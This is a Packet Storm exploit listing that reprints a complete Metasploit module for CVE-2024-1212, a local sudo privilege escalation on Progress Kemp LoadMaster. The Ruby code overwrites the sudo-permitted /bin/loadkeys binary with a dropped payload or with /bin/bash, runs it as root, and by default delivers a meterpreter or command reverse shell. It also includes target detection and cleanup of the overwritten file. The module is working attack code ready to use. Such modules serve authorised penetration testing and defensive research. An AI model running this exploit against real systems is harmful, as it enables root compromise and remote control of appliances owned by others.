Lucene search

K
packetstormBwatters-r7, Dave Yesland, metasploit.comPACKETSTORM:178554
HistoryMay 13, 2024 - 12:00 a.m.

Kemp LoadMaster Local sudo Privilege Escalation

2024-05-1300:00:00
bwatters-r7, Dave Yesland, metasploit.com
packetstormsecurity.com
88
metasploit
local
privilegeescalation
kemploadmaster
sudo
commandinjection
vulnerability
fileoverwrite
payload
cve-2024-1212

AI Score

7.4

Confidence

Low

EPSS

0.003

Percentile

65.6%

`# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Kemp LoadMaster Local sudo privilege escalation',  
'Description' => %q{  
This module abuses a feature of the sudo command on Progress Kemp  
LoadMaster. Certain binary files are allowed to automatically elevate  
with the sudo command. This is based off of the file name. Some files  
have this permission are not write-protected from the default 'bal' user.  
As such, if the file is overwritten with an arbitrary file, it will still  
auto-elevate. This module overwrites the /bin/loadkeys file with another  
executable.  
},  
'Author' => [  
'Dave Yesland with Rhino Security Labs',  
'bwatters-r7' # module,  
],  
'License' => MSF_LICENSE,  
'References' => [  
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],  
['URL', 'https://kemptechnologies.com/kemp-load-balancers']  
],  
'DisclosureDate' => '2024-03-19',  
'Notes' => {  
'Stability' => [ CRASH_SAFE ],  
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],  
'Reliability' => [ REPEATABLE_SESSION ]  
},  
'SessionTypes' => ['shell', 'meterpreter'],  
'Platform' => ['unix', 'linux'],  
'Targets' => [  
[  
'Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp'  
}  
}  
],  
[  
'Command',  
{  
'Arch' => [ARCH_CMD],  
'Type' => :command,  
'Payload' =>  
{  
'BadChars' => "\x27",  
'Compat' =>  
{  
'PayloadType' => 'cmd',  
'RequiredCmd' => 'generic gawk telnet ssh echo'  
}  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse'  
}  
}  
]  
],  
'Privileged' => true  
)  
)  
register_options([  
OptString.new('TARGET_BINARY', [true, 'The path for a binary file that has permission to auto-elevate.', '/bin/loadkeys']),  
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ])  
])  
end  
  
def check  
score = 0  
score += 1 if read_file('/usr/wui/index.js').include?('KEMP')  
score += 1 if read_file('/etc/motd').include?('Kemp LoadMaster')  
score += 1 if exists?('/usr/wui/eula.kemp.html')  
vprint_status("Found #{score} indicators this is a KEMP product")  
return CheckCode::Detected if score > 0  
  
return CheckCode::Safe  
end  
  
def verify_copy(src, dest, elevate)  
orig_file_hash = file_remote_digestmd5(src)  
vprint_status("Moving #{src} to #{dest}")  
if elevate  
output = cmd_exec("sudo /bin/cp '#{src}' '#{dest}'")  
else  
output = cmd_exec("/bin/cp '#{src}' '#{dest}'")  
end  
return true if file_remote_digestmd5(dest) == orig_file_hash  
  
print_bad("Copy failed - #{output}")  
false  
end  
  
def execute_dropper(target_binary, binary_rename, temp_payload_path)  
vprint_status("Writing payload to #{temp_payload_path}")  
write_file(temp_payload_path, generate_payload_exe)  
chmod(temp_payload_path)  
register_file_for_cleanup(temp_payload_path)  
return unless verify_copy(target_binary, binary_rename, false)  
return unless verify_copy(temp_payload_path, target_binary, true)  
  
vprint_status("Running #{target_binary}")  
cmd_exec("sudo '#{target_binary}'")  
end  
  
def execute_command(target_binary, binary_rename, cmd)  
vprint_status('Preparing payload command')  
# save copy of target_binary  
return unless verify_copy(target_binary, binary_rename, false)  
return unless verify_copy('/bin/bash', target_binary, true)  
  
vprint_status('Running payload command')  
vprint_status(cmd_exec("sudo #{target_binary} -c '#{cmd}'"))  
end  
  
def exploit  
writable_dir = datastore['WRITABLE_DIR']  
if writable_dir.blank? || (writable_dir[-1] != '/')  
writable_dir += '/'  
end  
fail_with(Failure::BadConfig, "Invalid WRITABLE_DIR: #{writable_dir}") unless directory?(writable_dir)  
target_binary = datastore['TARGET_BINARY']  
binary_rename = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"  
target_binary_hash = file_remote_digestmd5(target_binary)  
begin  
case target['Type']  
when :dropper  
temp_payload = writable_dir + ".#{Rex::Text.rand_text_alpha_lower(6..12)}"  
execute_dropper(target_binary, binary_rename, temp_payload)  
when :command  
execute_command(target_binary, binary_rename, payload.encoded)  
end  
ensure  
unless target_binary_hash == file_remote_digestmd5(target_binary)  
cmd_exec("sudo rm '#{target_binary}'")  
verify_copy(binary_rename, target_binary, true)  
cmd_exec("sudo rm '#{binary_rename}'")  
end  
end  
if target_binary_hash == file_remote_digestmd5(target_binary)  
print_good("#{target_binary} returned to original contents")  
else  
print_bad("#{target_binary} was not returned to original contents")  
end  
end  
end  
`

AI Score

7.4

Confidence

Low

EPSS

0.003

Percentile

65.6%